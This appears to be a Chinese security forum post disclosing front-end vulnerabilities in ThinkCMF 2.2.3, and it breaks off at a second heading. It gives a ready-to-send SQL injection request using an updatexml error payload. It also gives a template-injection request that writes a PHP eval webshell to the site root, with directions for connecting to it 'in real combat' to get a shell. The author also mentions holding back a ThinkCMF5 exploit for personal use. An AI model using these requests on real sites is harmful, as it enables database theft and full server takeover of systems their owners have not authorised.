6p,存货被发了。记得不是太轻了,模板注入不好用的原因是linux下跳目录那个目录必须存在,这cms有个前缀,也就是不存在的目录。
0x00 前言
在先知逛的时候看到的的,后面发现是thinkcmf 翻了一下自己的漏洞库对比了一下版本发现,泡泡大佬这里看的是1.6版本的,而官方最后的版本 2.2.3 所以做一下漏洞补充。
注:thinkcmf 并没有死,他拥有两个版本一个是 thinkcmf5 一个是 thnkcmf2.2.3 但是这两个版本都有漏洞,因为现在thinkcmf2.2.3使用的人越来越少了,所以爆出来,至于5嘛,=-=不好意思,我还有用,所以不能发,请见谅
0x01 前台用户文章编辑提交存在注入
0x01.1 漏洞演示
前台的文章编辑中操作框架注入,所以可以直接sql注入
url:http://thinkcmf.test/index.php?g=Portal&m=Article&a=edit_post
post:
term:123
post[post_title]:123
post[post_title]:aaa
post_title:123
post[id][0]:bind
post[id][1]:0 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
0x01.2 漏洞原理
文件:ThinkCMFX_2.2.3\application\Portal\Controller\ArticleController.class.php
方法:public function edit_post(
这里不多讲,因为没得意义。详情请看先知的历史tp漏洞,谢谢:)
0x02 前台模版注入漏洞-可getshell两处
0x02.1 Comment类模版引擎注入演示
url:http://thinkcmf.test/index.php?g=Comment&m=Widget&a=fetch
post:
templateFile=/../public/index
prefix=''
content=<php>file_put_contents('test.php','<?php eval($_REQUEST[11]);')</php>
发送之后页面http状态会为200,这样就表示成功了
简单讲解一下:content 我输入了php代码所以他会在本地跟路径创建一个一句话木马test.php
所以实战过程中。
连接马子:http://xxxxx.com/test.php 密码:11
即可getshell
0x02.2 Api类模版注入1
点击收藏 | 2
关注 | 1